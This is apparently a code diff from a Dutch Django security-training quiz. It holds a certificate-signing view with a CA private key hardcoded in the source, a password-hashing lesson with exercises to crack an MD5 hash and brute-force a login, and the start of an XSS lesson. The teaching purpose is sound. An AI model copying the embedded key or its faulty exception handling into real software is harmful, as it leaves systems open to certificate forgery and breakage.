expiry_date = pytz.utc.localize(datetime.datetime.utcnow() + datetime.timedelta(minutes=10)) |
||||
challengeresponse, created = LetsEncryptChallenge.objects.get_or_create(challenge=challenge, defaults={ |
||||
'response': response, |
||||
'expiry_date': expiry_date |
||||
}) |
||||
|
||||
challengeresponse.response = response |
||||
challengeresponse.expiry_date = expiry_date |
||||
challengeresponse.save() |
||||
|
||||
template_vars['challenge'] = challenge |
||||
template_vars['response'] = response |
||||
except str as e: |
||||
template_vars['error'] = e.message |
||||
raise e |
||||
|
||||
return render(request, 'letsencrypt.html', template_vars) |
||||
|
||||
def letsencrypt_challenge(request, challenge): |
||||
try: |
||||
# Delete old challenges |
||||
LetsEncryptChallenge.objects.filter(expiry_date__lte=datetime.datetime.utcnow()).delete() |
||||
|
||||
challengeresponse = LetsEncryptChallenge.objects.get(challenge=challenge) |
||||
|
||||
response = HttpResponse(challengeresponse.challenge + "." + challengeresponse.response) |
||||
response['Content-Type'] = 'text/plain' |
||||
return response |
||||
except LetsEncryptChallenge.DoesNotExist: |
||||
return HttpResponseNotFound('404') |
||||
|
||||
|
||||
|
||||
def sign(request): |
||||
if request.method == 'POST': |
||||
from OpenSSL import crypto |
||||
import time |
||||
|
||||
ca_cert_file = """-----BEGIN CERTIFICATE----- |
||||
MIIEjzCCA3egAwIBAgIJAIyZIB4fbN2mMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYD |
||||
VQQGEwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2Vs |
||||
ZXMxDzANBgNVBAoTBlNwYWNlWDEMMAoGA1UECxMDQ0VPMRIwEAYDVQQDEwlFbG9u |
||||
IE11c2sxHjAcBgkqhkiG9w0BCQEWD2Vsb25Ac3BhY2V4LmNvbTAeFw0xNTA1Mjgx |
||||
NjEyMjFaFw0yNTA1MjUxNjEyMjFaMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMK |
||||
Q2FsaWZvcm5pYTEUMBIGA1UEBxMLTG9zIEFuZ2VsZXMxDzANBgNVBAoTBlNwYWNl |
||||
WDEMMAoGA1UECxMDQ0VPMRIwEAYDVQQDEwlFbG9uIE11c2sxHjAcBgkqhkiG9w0B |
||||
CQEWD2Vsb25Ac3BhY2V4LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC |
||||
ggEBAMWr64mMZDfWUuYmROz+FszmwjGZvFz0CGxiExHEAFfzZfF60Rts2Qm+o7cc |
||||
bZ/UtAaIgIve5WiWhQ5mqDoyECfuVOTcddWCrskLgLafoP6nPVdTDIXsPtsjtRuV |
||||
D1ptsduDVCeQkcKFUcfLd6QXJaOAYU20gb7FJ8KFUmJXn4HXg6BsZvu8grJgh51O |
||||
29JRw83I0FxzBZw4JSvETW968NexO+aliR/inK4GQQqk4joxuT6MSVsd+17ss6wn |
||||
WO1nUNxhSW3MQePrfphkQbNZn/l1T1MfN6XAs4P9boqgENHZ2WskGIeZ5g1I4MVE |
||||
WPFTZ8HwprCvybM8mneqVp/P+FcCAwEAAaOB8zCB8DAdBgNVHQ4EFgQUHvGJ8tZM |
||||
owfGFNeyuhsYq8JN/o8wgcAGA1UdIwSBuDCBtYAUHvGJ8tZMowfGFNeyuhsYq8JN |
||||
/o+hgZGkgY4wgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRQw |
||||
EgYDVQQHEwtMb3MgQW5nZWxlczEPMA0GA1UEChMGU3BhY2VYMQwwCgYDVQQLEwND |
||||
RU8xEjAQBgNVBAMTCUVsb24gTXVzazEeMBwGCSqGSIb3DQEJARYPZWxvbkBzcGFj |
||||
ZXguY29tggkAjJkgHh9s3aYwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOC |
||||
AQEAfe9TXLrrwA/3xf85HB+i7CxaFNTmWZvsN2Ico9Ks1/Dt7eAB61ghHFIxCqHz |
||||
LQGa77wFAI5kgzv3TembXV1kHz4pGigPC6EkNEh0Kc2O3fwz6CryK7/OrjkElKEn |
||||
ti/9loLr8+rhQKF0c2NS3qiAoYsR/kkdBZ+niT+yXCIekpQNybfDT8WqDm4Rv2s+ |
||||
u/6pZa7zZLLlORpxnuFfjjo+n/06b4+xHn+xvyGWijMcOqZdyhU0UjZ7OAW/ZEQp |
||||
3uvp8fso+Esov+Abl0Lxtr/Gk7utH/h0AD6vWJJwDlS65uqKBeuIOUoCAHy3oPH5 |
||||
p+BxtuhS2Lv5g2jHRgIxVt22rg== |
||||
-----END CERTIFICATE----- |
||||
""" |
||||
ca_key_file = """-----BEGIN RSA PRIVATE KEY----- |
||||
MIIEogIBAAKCAQEAxavriYxkN9ZS5iZE7P4WzObCMZm8XPQIbGITEcQAV/Nl8XrR |
||||
G2zZCb6jtxxtn9S0BoiAi97laJaFDmaoOjIQJ+5U5Nx11YKuyQuAtp+g/qc9V1MM |
||||
hew+2yO1G5UPWm2x24NUJ5CRwoVRx8t3pBclo4BhTbSBvsUnwoVSYlefgdeDoGxm |
||||
+7yCsmCHnU7b0lHDzcjQXHMFnDglK8RNb3rw17E75qWJH+KcrgZBCqTiOjG5PoxJ |
||||
Wx37XuyzrCdY7WdQ3GFJbcxB4+t+mGRBs1mf+XVPUx83pcCzg/1uiqAQ0dnZayQY |
||||
h5nmDUjgxURY8VNnwfCmsK/Jszyad6pWn8/4VwIDAQABAoIBAHkzyOA17N0v1PS5 |
||||
UlneEizg8QFouk5kcyXBnN+vxmYnH8LJA55FR27qLYgBLlZqHVhEKk2ZBiDy6fLC |
||||
jzPfrnhNclBBvR6FWpZ7LxjLF/QMp1f73BnhmUjUxB99bkSMLhnilJ8NzdHv3Q0c |
||||
fOdoKfPuq7rxivxl9tMW3ETgZTU+0dSeJH8ZkkcQblckNpqP//oWFpXYrgftgyR3 |
||||
kM+uZya2kwaZ15XC2O1IXbvFVjppw4z/z8KMBc6azGrSFJ6xGkve+1KKBuVQ1Vpg |
||||
sFXBaKHoVG5NpGiwiBkbERkn1Jp+lgJkstDyzGtIVmhzT7g5+YIvXE5uWU/NVRDp |
||||
0n8n6UECgYEA/hgkUfJ/uVlORhkIyW+thG9VPO1k35BdOjw5f7xDN6DSyYNSRubi |
||||
q6F3KWW807fEubGYzXaTh5QCB9z+gUuVAtjo9Mb0RPBEyWwXFi0ynxLzNQxA692U |
||||
Id67JHVPK4gsgP7jZi8+pAbN3xSfRG1BXdsp+RUJdWNiaLeWOsHI+bMCgYEAxydy |
||||
enmg+dzz8qz6my9G9uH0dqoG8BHlwPp7h/vmSbhWAD4+BIGCHbGt2zk/Zh7w6PsQ |
||||
9nMrWSwAkStdpW0WLz/oNIijVN8dInlFnB3qq6o1t0Jrz2K4ngUN1PAA19Ft1s+r |
||||
VZpSM+uKViKKuthORNeVM0D3D3gfrisdAZAV7M0CgYBguef5mgqtECYP4S/LHsw7 |
||||
Afa8vtILmPUkWhC5Y31jC8GyHF+Rxgq7szeddrEvF2G4HrdAX8dBcUJko+fuaEtN |
||||
Ti1AIQyTwbMtygvv0TzX+WrD4upD35GoYxVyh4Wf2LK4WE9QcuOxpTVxmnQWpFCh |
||||
3fBYdX2oRjEME/cIXwSWqQKBgEpc0WMn/VKvDSvlKSI+8fmHf3e7nyGPHUIEhZHO |
||||
HjwSp5Ipq5CVJxedW7SK2MBx9zSXYssTT/FY+9E45xu48tqruzG6f3pWYROZQsO7 |
||||
a/+za6FFHOpwC019x59mCnqLib73BhvNproaTipBdZm04OzVrrFXpajSCspG8Oq/ |
||||
eWBVAoGACI+4ROdYWCprQRgH2Qr5nKnRkN1mZzBl4hgodSGCZa3TWnBVHtXacluF |
||||
KJ8dp3ZgjiQ9aQujFD5oPnmSJ8wvJijF8ngEFw60+axRrWnUmejWkrexA1Hlv0Er |
||||
tq9DcELddZK2gJXaXpL1wOL+Ex5RzzRmjqKmmkkn1//ikn+nrZU= |
||||
-----END RSA PRIVATE KEY----- |
||||
""" |
||||
csr = crypto.load_certificate_request(crypto.FILETYPE_PEM, request.FILES['csr'].read()) |
||||
ca_cert = crypto.load_certificate(crypto.FILETYPE_PEM, ca_cert_file) |
||||
ca_key = crypto.load_privatekey(crypto.FILETYPE_PEM, ca_key_file) |
||||
|
||||
signed_cert = crypto.X509() |
||||
signed_cert.set_serial_number(1) |
||||
signed_cert.gmtime_adj_notBefore(0) |
||||
signed_cert.gmtime_adj_notAfter(60 * 60 * 24 * 365 * 5) |
||||
signed_cert.set_issuer(ca_cert.get_subject()) |
||||
signed_cert.set_subject(csr.get_subject()) |
||||
signed_cert.set_pubkey(csr.get_pubkey()) |
||||
signed_cert.sign(ca_key, 'sha256') |
||||
|
||||
response = HttpResponse(crypto.dump_certificate(crypto.FILETYPE_PEM, signed_cert), content_type='application/zip') |
||||
response['Content-Disposition'] = 'attachment; filename=signed-certificaat.crt' |
||||
return response |
||||
|
||||
return render(request, 'sign.html') |
||||
|
||||
def graderhelper(request): |
||||
cursor = connection.cursor() |
||||
if request.GET['mode'] == 'oauth_app': |
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_application WHERE client_id = %s", [request.GET['answer']]) |
||||
return HttpResponse(cursor.fetchone()) |
||||
|
||||
elif request.GET['mode'] == 'access_token': |
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_accesstoken WHERE token = %s", [request.GET['answer']]) |
||||
return HttpResponse(cursor.fetchone()) |
||||
|
||||
elif request.GET['mode'] == 'auth_code': |
||||
cursor.execute("SELECT COUNT(id) FROM oauth2_provider_grant WHERE code = %s", [request.GET['answer']]) |
||||
return HttpResponse(cursor.fetchone()) |
||||
|
||||
|
||||
return HttpResponse('404') |
@ -0,0 +1,389 @@ |
||||
<h1>Wachtwoorden</h1> |
||||
|
||||
<img src="/static/img/password.png" class="center-block"> |
||||
|
||||
<p>Deze week gaan we kijken naar hoe je wachtwoorden van gebruikers veilig kan opslaan. We hebben al gezien dat het niet onmogelijk |
||||
is om data uit de database te pulken met SQL injection. Als je een kolom hebt in je database 'wachtwoord' waar je je wachtwoorden |
||||
zomaar neerzet loop je een groot risico dat een aanvaller achter alle wachtwoorden van je gebruikers komt. Gelukkig is |
||||
er ook een veilige manier om wachtwoorden op te slaan, en wel door ze te |
||||
<b>hashen</b>.</p> |
||||
|
||||
<h3>Hashfunctie</h3> |
||||
|
||||
<p>Een hashfunctie (md5, sha1 en tientallen andere) neemt een stuk data (zoals een wachtwoord) als invoer en geeft een willekeurige |
||||
uitziende string als uitvoer. De uitvoer van een hashfunctie is altijd even lang, ongeacht de lengte van de invoer.</p> |
||||
|
||||
<input type="text" onkeyup="$('#hashed').val(md5($(this).val()))" style="width: 30%;"> > md5 > |
||||
<input id="hashed" type="text" style="width: 50%;" value="d41d8cd98f00b204e9800998ecf8427e" readonly=""> |
||||
|
||||
<p>Zo'n functie lijkt misschien een nutteloos iets, want je kan van de hash niet meer terug naar de originele invoer. Maar daar |
||||
ligt juist de kracht van de hash functie: als de aanvaller een hash van het wachtwoord heeft kan hij niet terugrekenen |
||||
wat het wachtwoord was. Hash functies zijn ontzettend moeilijk is om terug te rekenen, daar zijn ze op gemaakt. Zo moeilijk |
||||
dat eigenlijk de enige 'praktische' optie is om alle mogelijke invoeren uit te proberen om te kijken of het uitkomt op |
||||
dezelfde hash (brute-force).</p> |
||||
|
||||
<p>Gelukkig hoef jij als programmeur van de website de hash niet terug te rekenen om hem te kunnen gebruiken. Als een gebruiker |
||||
inlogt hash je opnieuw het wachtwoord wat hij invult. Komt deze hash overeen met wat in de database staat? Dan heeft hij |
||||
hetzelfde wachtwoord ingevuld!</p> |
||||
|
||||
<h3>Rainbow tables</h3> |
||||
|
||||
<p>Zo moeilijk als het is om een hash terug te |
||||
<i>rekenen</i>, zo makkelijk is het om een hash terug |
||||
<i> |
||||
<a href="http://www.google.nl/?q=97307d691e6665ff81acc1783c4da63e" target="_blank">op te zoeken</a> |
||||
</i>. Aanvallers hebben de hashes van alle veel gebruikte wachtwoorden, korte lettercombinaties en woordenboekwoorden al berekend |
||||
en opgeslagen in zogenaamde rainbow tables. Terug opzoeken wat de originele waarde van een hash was wordt dan zo simpel |
||||
als een simpele query uitvoeren. Mits de waarde in de tabel zit natuurlijk, en dat is meteen ook de verdediging tegen deze |
||||
aanval:</p> |
||||
|
||||
<h3>Salt</h3> |
||||
<p>Om te voorkomen dat zwakke veelvoorkomende kunnen worden teruggevonden in een rainbow table kan je er een salt achter plakken |
||||
voordat je het hasht. Een salt is een lange string met random inhoud (bijvoorbeeld: 'R!Qo?Og4U]m'). De kans is klein dat |
||||
zo'n waarde in een rainbow table voorkomt. Dus zelfs als de aanvaller de salt te weten komt is hij terug bij af: hij moet |
||||
al zijn combinaties opnieuw uitproberen, dit keer met jouw salt er achter.</p> |
||||
|
||||
<img src="/static/img/password-salt.jpg" class="center-block" style="width: 40%"> |
||||
|
||||
<h1>Opdrachten</h1> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Je hebt uit een database het volgende gehashte wachtwoord gehaald: d59084b66e167f13bef93b1a5d07acd2 Welk wachtwoord had |
||||
deze gebruiker?</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat jij achter het wachtwoord kon komen?</span> |
||||
</div> |
||||
|
||||
<h2>Nieuws</h2> |
||||
<p>Een andere hacker heeft de gegevens van de inlogpagina van Nieuws.nl online gepost. Gelukkig voor de site zijn de wachtwoorden |
||||
gehasht en gesalt, dus aan de hash zelf kunnen we geen informatie afleiden. Op de nieuws (gebruikers) pagina kan je de |
||||
tabel inzien.</p> |
||||
|
||||
<p>Maar er valt je wel iets op aan de hashes. Heleboel gebruikers hebben dezelfde hash. Waarschijnlijk hebben deze gebruikers |
||||
een veelgebruikt wachtwoord.</p> |
||||
|
||||
<p>Je bent geïnteresseerd in het wachtwoord van Pete, brute-force zijn wachtwoord door in te loggen op de inlogpagina!</p> |
||||
|
||||
<p class="hint">Hint: Zoek op internet naar lijsten van veelgebruikte wachtwoorden en probeer ze uit.</p> |
||||
|
||||
<p class="hint">Hint 2: Het wachtwoord is allemaal kleine letters</p> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Wat is het wachtwoord van Pete?</span> |
||||
</div> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Hoe had de programmeur kunnen voorkomen dat een hacker kon zien dat al deze gebruikers hetzelfde wachtwoord hebben?</span> |
||||
</div> |
||||
|
||||
<p>Na een hoop manuren werk heeft Nieuws.nl hun huiswerk gedaan en slaan ze dit keer wachtwoorden op een echt veilige manier |
||||
op. Niemand die dit keer de site kan kraken! Eindelijk kunnen mensen weer inloggen en gebruik maken van hun account, de |
||||
site wordt feestelijk weer geopend.</p> |
||||
|
||||
<p>Een week later is de site gehackt en hebben de hackers alles weer verwijderd. Onderzoekers kunnen op de server alleen een |
||||
kort fragment van een logbestand terugvinden:</p> |
||||
|
||||
<code class="center-block"> |
||||
...<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947E'<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947F'<br> |
||||
2013-05-23 14:15:55 Inlogpoging account 'Admin' wachtwoord '55020947G'<br> |
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947H'<br> |
||||
2013-05-23 14:15:56 Inlogpoging account 'Admin' wachtwoord '55020947I'<br> |
||||
2013-05-23 14:15:56 Gebruiker 'Admin' ingelogd<br> |
||||
</code> |
||||
|
||||
<div class="question"> |
||||
<span class="question-string">Welke fout hebben de programmeurs van Nieuws.nl gemaakt? Beschrijf kort hoe je de site kan programmeren om deze aanval |
||||
te voorkomen.</span> |
||||
</div> |
||||
|
||||
<img src="/static/img/password2.jpg" class="center-block"> |
||||
|
||||
|
||||
<script> |
||||
function utf8_encode(argString) { |
||||
// discuss at: http://phpjs.org/functions/utf8_encode/ |
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// improved by: sowberry |
||||
// improved by: Jack |
||||
// improved by: Yves Sucaet |
||||
// improved by: kirilloid |
||||
// bugfixed by: Onno Marsman |
||||
// bugfixed by: Onno Marsman |
||||
// bugfixed by: Ulrich |
||||
// bugfixed by: Rafal Kukawski |
||||
// bugfixed by: kirilloid |
||||
// example 1: utf8_encode('Kevin van Zonneveld'); |
||||
// returns 1: 'Kevin van Zonneveld' |
||||
|
||||
if (argString === null || typeof argString === 'undefined') { |
||||
return ''; |
||||
} |
||||
|
||||
// .replace(/\r\n/g, "\n").replace(/\r/g, "\n"); |
||||
var string = (argString + ''); |
||||
var utftext = '', |
||||
start, end, stringl = 0; |
||||
|
||||
start = end = 0; |
||||
stringl = string.length; |
||||
for (var n = 0; n < stringl; n++) { |
||||
var c1 = string.charCodeAt(n); |
||||
var enc = null; |
||||
|
||||
if (c1 < 128) { |
||||
end++; |
||||
} else if (c1 > 127 && c1 < 2048) { |
||||
enc = String.fromCharCode( |
||||
(c1 >> 6) | 192, (c1 & 63) | 128 |
||||
); |
||||
} else if ((c1 & 0xF800) != 0xD800) { |
||||
enc = String.fromCharCode( |
||||
(c1 >> 12) | 224, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||
); |
||||
} else { |
||||
// surrogate pairs |
||||
if ((c1 & 0xFC00) != 0xD800) { |
||||
throw new RangeError('Unmatched trail surrogate at ' + n); |
||||
} |
||||
var c2 = string.charCodeAt(++n); |
||||
if ((c2 & 0xFC00) != 0xDC00) { |
||||
throw new RangeError('Unmatched lead surrogate at ' + (n - 1)); |
||||
} |
||||
c1 = ((c1 & 0x3FF) << 10) + (c2 & 0x3FF) + 0x10000; |
||||
enc = String.fromCharCode( |
||||
(c1 >> 18) | 240, ((c1 >> 12) & 63) | 128, ((c1 >> 6) & 63) | 128, (c1 & 63) | 128 |
||||
); |
||||
} |
||||
if (enc !== null) { |
||||
if (end > start) { |
||||
utftext += string.slice(start, end); |
||||
} |
||||
utftext += enc; |
||||
start = end = n + 1; |
||||
} |
||||
} |
||||
|
||||
if (end > start) { |
||||
utftext += string.slice(start, stringl); |
||||
} |
||||
|
||||
return utftext; |
||||
} |
||||
function md5(str) { |
||||
// discuss at: http://phpjs.org/functions/md5/ |
||||
// original by: Webtoolkit.info (http://www.webtoolkit.info/) |
||||
// improved by: Michael White (http://getsprink.com) |
||||
// improved by: Jack |
||||
// improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// input by: Brett Zamir (http://brett-zamir.me) |
||||
// bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net) |
||||
// depends on: utf8_encode |
||||
// example 1: md5('Kevin van Zonneveld'); |
||||
// returns 1: '6e658d4bfcb59cc13f96c14450ac40b9' |
||||
|
||||
var xl; |
||||
|
||||
var rotateLeft = function (lValue, iShiftBits) { |
||||
return (lValue << iShiftBits) | (lValue >>> (32 - iShiftBits)); |
||||
}; |
||||
|
||||
var addUnsigned = function (lX, lY) { |
||||
var lX4, lY4, lX8, lY8, lResult; |
||||
lX8 = (lX & 0x80000000); |
||||
lY8 = (lY & 0x80000000); |
||||
lX4 = (lX & 0x40000000); |
||||
lY4 = (lY & 0x40000000); |
||||
lResult = (lX & 0x3FFFFFFF) + (lY & 0x3FFFFFFF); |
||||
if (lX4 & lY4) { |
||||
return (lResult ^ 0x80000000 ^ lX8 ^ lY8); |
||||
} |
||||
if (lX4 | lY4) { |
||||
if (lResult & 0x40000000) { |
||||
return (lResult ^ 0xC0000000 ^ lX8 ^ lY8); |
||||
} else { |
||||
return (lResult ^ 0x40000000 ^ lX8 ^ lY8); |
||||
} |
||||
} else { |
||||
return (lResult ^ lX8 ^ lY8); |
||||
} |
||||
}; |
||||
|
||||
var _F = function (x, y, z) { |
||||
return (x & y) | ((~x) & z); |
||||
}; |
||||
var _G = function (x, y, z) { |
||||
return (x & z) | (y & (~z)); |
||||
}; |
||||
var _H = function (x, y, z) { |
||||
return (x ^ y ^ z); |
||||
}; |
||||
var _I = function (x, y, z) { |
||||
return (y ^ (x | (~z))); |
||||
}; |
||||
|
||||
var _FF = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_F(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _GG = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_G(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _HH = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_H(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var _II = function (a, b, c, d, x, s, ac) { |
||||
a = addUnsigned(a, addUnsigned(addUnsigned(_I(b, c, d), x), ac)); |
||||
return addUnsigned(rotateLeft(a, s), b); |
||||
}; |
||||
|
||||
var convertToWordArray = function (str) { |
||||
var lWordCount; |
||||
var lMessageLength = str.length; |
||||
var lNumberOfWords_temp1 = lMessageLength + 8; |
||||
var lNumberOfWords_temp2 = (lNumberOfWords_temp1 - (lNumberOfWords_temp1 % 64)) / 64; |
||||
var lNumberOfWords = (lNumberOfWords_temp2 + 1) * 16; |
||||
var lWordArray = new Array(lNumberOfWords - 1); |
||||
var lBytePosition = 0; |
||||
var lByteCount = 0; |
||||
while (lByteCount < lMessageLength) { |
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||
lBytePosition = (lByteCount % 4) * 8; |
||||
lWordArray[lWordCount] = (lWordArray[lWordCount] | (str.charCodeAt(lByteCount) << lBytePosition)); |
||||
lByteCount++; |
||||
} |
||||
lWordCount = (lByteCount - (lByteCount % 4)) / 4; |
||||
lBytePosition = (lByteCount % 4) * 8; |
||||
lWordArray[lWordCount] = lWordArray[lWordCount] | (0x80 << lBytePosition); |
||||
lWordArray[lNumberOfWords - 2] = lMessageLength << 3; |
||||
lWordArray[lNumberOfWords - 1] = lMessageLength >>> 29; |
||||
return lWordArray; |
||||
}; |
||||
|
||||
var wordToHex = function (lValue) { |
||||
var wordToHexValue = '', |
||||
wordToHexValue_temp = '', |
||||
lByte, lCount; |
||||
for (lCount = 0; lCount <= 3; lCount++) { |
||||
lByte = (lValue >>> (lCount * 8)) & 255; |
||||
wordToHexValue_temp = '0' + lByte.toString(16); |
||||
wordToHexValue = wordToHexValue + wordToHexValue_temp.substr(wordToHexValue_temp.length - 2, 2); |
||||
} |
||||
return wordToHexValue; |
||||
}; |
||||
|
||||
var x = [], |
||||
k, AA, BB, CC, DD, a, b, c, d, S11 = 7, |
||||
S12 = 12, |
||||
S13 = 17, |
||||
S14 = 22, |
||||
S21 = 5, |
||||
S22 = 9, |
||||
S23 = 14, |
||||
S24 = 20, |
||||
S31 = 4, |
||||
S32 = 11, |
||||
S33 = 16, |
||||
S34 = 23, |
||||
S41 = 6, |
||||
S42 = 10, |
||||
S43 = 15, |
||||
S44 = 21; |
||||
|
||||
str = this.utf8_encode(str); |
||||
x = convertToWordArray(str); |
||||
a = 0x67452301; |
||||
b = 0xEFCDAB89; |
||||
c = 0x98BADCFE; |
||||
d = 0x10325476; |
||||
|
||||
xl = x.length; |
||||
for (k = 0; k < xl; k += 16) { |
||||
AA = a; |
||||
BB = b; |
||||
CC = c; |
||||
DD = d; |
||||
a = _FF(a, b, c, d, x[k + 0], S11, 0xD76AA478); |
||||
d = _FF(d, a, b, c, x[k + 1], S12, 0xE8C7B756); |
||||
c = _FF(c, d, a, b, x[k + 2], S13, 0x242070DB); |
||||
b = _FF(b, c, d, a, x[k + 3], S14, 0xC1BDCEEE); |
||||
a = _FF(a, b, c, d, x[k + 4], S11, 0xF57C0FAF); |
||||
d = _FF(d, a, b, c, x[k + 5], S12, 0x4787C62A); |
||||
c = _FF(c, d, a, b, x[k + 6], S13, 0xA8304613); |
||||
b = _FF(b, c, d, a, x[k + 7], S14, 0xFD469501); |
||||
a = _FF(a, b, c, d, x[k + 8], S11, 0x698098D8); |
||||
d = _FF(d, a, b, c, x[k + 9], S12, 0x8B44F7AF); |
||||
c = _FF(c, d, a, b, x[k + 10], S13, 0xFFFF5BB1); |
||||
b = _FF(b, c, d, a, x[k + 11], S14, 0x895CD7BE); |
||||
a = _FF(a, b, c, d, x[k + 12], S11, 0x6B901122); |
||||
d = _FF(d, a, b, c, x[k + 13], S12, 0xFD987193); |
||||
c = _FF(c, d, a, b, x[k + 14], S13, 0xA679438E); |
||||
b = _FF(b, c, d, a, x[k + 15], S14, 0x49B40821); |
||||
a = _GG(a, b, c, d, x[k + 1], S21, 0xF61E2562); |
||||
d = _GG(d, a, b, c, x[k + 6], S22, 0xC040B340); |
||||
c = _GG(c, d, a, b, x[k + 11], S23, 0x265E5A51); |
||||
b = _GG(b, c, d, a, x[k + 0], S24, 0xE9B6C7AA); |
||||
a = _GG(a, b, c, d, x[k + 5], S21, 0xD62F105D); |
||||
d = _GG(d, a, b, c, x[k + 10], S22, 0x2441453); |
||||
c = _GG(c, d, a, b, x[k + 15], S23, 0xD8A1E681); |
||||
b = _GG(b, c, d, a, x[k + 4], S24, 0xE7D3FBC8); |
||||
a = _GG(a, b, c, d, x[k + 9], S21, 0x21E1CDE6); |
||||
d = _GG(d, a, b, c, x[k + 14], S22, 0xC33707D6); |
||||
c = _GG(c, d, a, b, x[k + 3], S23, 0xF4D50D87); |
||||
b = _GG(b, c, d, a, x[k + 8], S24, 0x455A14ED); |
||||
a = _GG(a, b, c, d, x[k + 13], S21, 0xA9E3E905); |
||||
d = _GG(d, a, b, c, x[k + 2], S22, 0xFCEFA3F8); |
||||
c = _GG(c, d, a, b, x[k + 7], S23, 0x676F02D9); |
||||
b = _GG(b, c, d, a, x[k + 12], S24, 0x8D2A4C8A); |
||||
a = _HH(a, b, c, d, x[k + 5], S31, 0xFFFA3942); |
||||
d = _HH(d, a, b, c, x[k + 8], S32, 0x8771F681); |
||||
c = _HH(c, d, a, b, x[k + 11], S33, 0x6D9D6122); |
||||
b = _HH(b, c, d, a, x[k + 14], S34, 0xFDE5380C); |
||||
a = _HH(a, b, c, d, x[k + 1], S31, 0xA4BEEA44); |
||||
d = _HH(d, a, b, c, x[k + 4], S32, 0x4BDECFA9); |
||||
c = _HH(c, d, a, b, x[k + 7], S33, 0xF6BB4B60); |
||||
b = _HH(b, c, d, a, x[k + 10], S34, 0xBEBFBC70); |
||||
a = _HH(a, b, c, d, x[k + 13], S31, 0x289B7EC6); |
||||
d = _HH(d, a, b, c, x[k + 0], S32, 0xEAA127FA); |
||||
c = _HH(c, d, a, b, x[k + 3], S33, 0xD4EF3085); |
||||
b = _HH(b, c, d, a, x[k + 6], S34, 0x4881D05); |
||||
a = _HH(a, b, c, d, x[k + 9], S31, 0xD9D4D039); |
||||
d = _HH(d, a, b, c, x[k + 12], S32, 0xE6DB99E5); |
||||
c = _HH(c, d, a, b, x[k + 15], S33, 0x1FA27CF8); |
||||
b = _HH(b, c, d, a, x[k + 2], S34, 0xC4AC5665); |
||||
a = _II(a, b, c, d, x[k + 0], S41, 0xF4292244); |
||||
d = _II(d, a, b, c, x[k + 7], S42, 0x432AFF97); |
||||
c = _II(c, d, a, b, x[k + 14], S43, 0xAB9423A7); |
||||
b = _II(b, c, d, a, x[k + 5], S44, 0xFC93A039); |
||||
a = _II(a, b, c, d, x[k + 12], S41, 0x655B59C3); |
||||
d = _II(d, a, b, c, x[k + 3], S42, 0x8F0CCC92); |
||||
c = _II(c, d, a, b, x[k + 10], S43, 0xFFEFF47D); |
||||
b = _II(b, c, d, a, x[k + 1], S44, 0x85845DD1); |
||||
a = _II(a, b, c, d, x[k + 8], S41, 0x6FA87E4F); |
||||
d = _II(d, a, b, c, x[k + 15], S42, 0xFE2CE6E0); |
||||
c = _II(c, d, a, b, x[k + 6], S43, 0xA3014314); |
||||
b = _II(b, c, d, a, x[k + 13], S44, 0x4E0811A1); |
||||
a = _II(a, b, c, d, x[k + 4], S41, 0xF7537E82); |
||||
d = _II(d, a, b, c, x[k + 11], S42, 0xBD3AF235); |
||||
c = _II(c, d, a, b, x[k + 2], S43, 0x2AD7D2BB); |
||||
b = _II(b, c, d, a, x[k + 9], S44, 0xEB86D391); |
||||
a = addUnsigned(a, AA); |
||||
b = addUnsigned(b, BB); |
||||
c = addUnsigned(c, CC); |
||||
d = addUnsigned(d, DD); |
||||
} |
||||
|
||||
var temp = wordToHex(a) + wordToHex(b) + wordToHex(c) + wordToHex(d); |
||||
|
||||
return temp.toLowerCase(); |
||||
} |
||||
</script> |
@ -1,10 +0,0 @@ |
||||
import os, sys |
||||
|
||||
path = os.path.dirname(os.path.abspath(__file__)) |
||||
if path not in sys.path: |
||||
sys.path.append(path) |
||||
|
||||
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "securityquiz.settings") |
||||
|
||||
from django.core.wsgi import get_wsgi_application |
||||
application = get_wsgi_application() |
@ -0,0 +1,244 @@ |
||||
<style> |
||||
.screenshot { |
||||
box-shadow: 0 0 15px #888; |
||||
} |
||||
|
||||
figure { |
||||
float: right; |
||||
width: 30%; |
||||
} |
||||
|
||||
figure img {} |
||||
|
||||
figcaption { |
||||
margin-top: 10px; |
||||
font-size: smaller; |
||||
color: gray; |
||||
text-align: center; |
||||
} |
||||
</style> |
||||
|
||||
<h1>Cross-site Scripting</h1> |
||||
|
||||
<figure> |
||||
<img src="/static/img/rabobank.png" class="screenshot"> |
||||
<figcaption>Iemand heeft |
||||
